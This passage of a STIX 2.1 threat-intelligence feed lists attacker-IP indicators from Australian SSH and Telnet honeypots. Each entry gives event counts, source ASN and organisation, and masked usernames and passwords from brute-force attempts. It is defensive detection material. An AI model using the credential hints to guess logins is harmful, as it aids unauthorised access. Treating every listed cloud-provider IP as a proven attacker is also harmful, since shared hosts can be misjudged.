      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited. Usernames observed (masked): r**t. Passwords observed (masked): 1*****@, A******@, o******e, r*****a.",
      "id": "indicator--7701c838-2f26-4ce3-ba9a-7022c7150c2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.247.214.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center. Usernames observed (masked): r**t. Passwords observed (masked): 1*******E, r******3.",
      "id": "indicator--10809cae-379c-41cc-83d5-15aa0535756c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.204.32.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 150. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 45671. Organisation(s): Wholesale Services Provider. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1***@, 1*******#, 1*******@.",
      "id": "indicator--e875fcd5-8ea3-4a9d-b732-7ed539d6dcc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.127.40.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, E*********3, t******t.",
      "id": "indicator--b21e8fbb-b4c2-4be1-aaa6-ea5c8678c284",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.31.210.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: LK. ASN(s): 9329. Organisation(s): Sri Lanka Telecom Internet.",
      "id": "indicator--f463631e-47d6-4da5-b806-e1943c68169c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.43.176.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 81. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, a***n.",
      "id": "indicator--931e37b6-d241-4ae8-a7ef-cc3082c73f69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '129.212.187.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--bf901158-99dd-45f4-a076-493093592e28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.173.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****@, 3***********4, 3**********4, A******@, Q******4.",
      "id": "indicator--eaf0e94d-8869-49c1-9d2e-b791bb0b9872",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.99.133.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): ***, ***, p**s, q****y, r**t.",
      "id": "indicator--8b7eab43-b910-4b02-af24-aea6c7860232",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.0.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 169. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******2, 1*******., 1********!.",
      "id": "indicator--beab8d04-8597-4fec-8757-35d321391e17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.48.8.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 372. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u**r, t**t. Passwords observed (masked): 1***5, 1****6, p******d, q****y, l*****n.",
      "id": "indicator--3c5f6f3f-c2c4-4868-886f-52ba06fa6eda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '146.190.109.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 286. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, d****e. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--0a8b9b81-6839-4f66-a548-5c0cc719ed80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.211.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 129. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 6147. Organisation(s): INTEGRATEL PERU S.A.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******r, 1******2, 1***4, 1**************$, 3***********4.",
      "id": "indicator--43db68ef-d6bb-4ac6-b169-3fff752f990b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.79.37.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135951. Organisation(s): Webico Company Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2**2, 2**7, 3***********4, 3**********4, J*******6.",
      "id": "indicator--c1ff5121-1a9a-4ace-89da-8b6c74688504",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.93.137.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******2, 1**************$, 3***********4, 3**********4, G**********6.",
      "id": "indicator--35467b4e-3a44-4d9e-bdc8-07c40d340b33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.116.220.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 150. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******2, 1*******., 1********!.",
      "id": "indicator--61d6c63e-7d63-483c-b983-256073faff4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '184.168.21.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e70caae9-97e5-4d77-8ce0-29d2e12ec0cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 378. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): d****n, a***n, d****n, ***, b****p. Passwords observed (masked): 1****e, 1*******y, 4**1, 5***1, 6****1.",
      "id": "indicator--fd7c135a-fd3b-4d0d-b601-58292de7c04d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.25.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********n, 3***********4, 3**********4, 7*****7, A*******!.",
      "id": "indicator--860ec657-6333-44fa-bcce-e281986819f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.104.95.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MV. ASN(s): 55944. Organisation(s): Ooredoo Maldives Plc. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******2, 1*******., 1********!.",
      "id": "indicator--bd66b3e7-8742-4600-b643-ddfbe114d3c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.183.215.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******2, 1*******., 1********!.",
      "id": "indicator--6591cca5-78ce-41bd-b812-055eced05f0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.64.74.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 150. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******r, 1******2, 1***4.",
      "id": "indicator--d12ab957-13f6-4997-a151-21ffb8dd50f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.79.165.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******r, 3***********4, 3**********4, A*********#, A********0.",
      "id": "indicator--727d246f-ae7b-4963-8e43-5367352e9054",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.39.20.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 150. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******r, 1******2, 1***4.",
      "id": "indicator--2e847174-110a-4a68-9801-aa03da928edc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.251.42.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, Q******4, R******5, T*******!.",
      "id": "indicator--0b256573-0e3b-40dd-8683-1d43837f1468",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.0.238.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 9824. Organisation(s): JCOM Co., Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1***@, 1*******#, 1*******@, 3***********4, 3**********4.",
      "id": "indicator--6e928a2b-0034-4431-8531-18ab3659136b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.23.36.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--edbd0d4f-f6f2-4a8d-8cb6-7a87724fa014",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--328de22c-b511-48a3-b4e6-e729cbdaf04a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.65.134.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T00:15:13.000Z",
      "valid_until": "2026-04-03T00:15:11.000Z"
    },
    {
      "created": "2026-03-02T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--a0ff2009-5dd6-484c-a414-eb21a5446802",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.37.148.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:15:13.000Z",
      "valid_until": "2026-04-03T01:15:11.000Z"
    },
    {
      "created": "2026-03-02T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 140641. Organisation(s): YOTTA NETWORK SERVICES PRIVATE LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********C, 3***********4, 3**********4, H******2, P***********5.",
      "id": "indicator--ba21fac2-e4b2-4d24-ad4c-5304fcebfa6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.123.53.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:15:13.000Z",
      "valid_until": "2026-04-03T01:15:11.000Z"
    },
    {
      "created": "2026-03-02T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company.",
      "id": "indicator--316c2c7c-38fb-4656-bb32-d4d0b8b72175",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.70.176.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:15:13.000Z",
      "valid_until": "2026-04-03T01:15:11.000Z"
    },
    {
      "created": "2026-03-02T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC.",
      "id": "indicator--459ab818-b9ec-4179-873c-b7a6d279ebca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.12.181.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:15:13.000Z",
      "valid_until": "2026-04-03T01:15:11.000Z"
    },
    {
      "created": "2026-03-02T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, p******s, a****e, d****y, ***. Passwords observed (masked): ***, ***, t**t, 1****1, 1****6.",
      "id": "indicator--0932e97a-c26c-4eb7-b7a4-9412e3900165",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.115.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:15:13.000Z",
      "valid_until": "2026-04-03T01:15:11.000Z"
    },
    {
      "created": "2026-03-02T01:15:13.000Z",
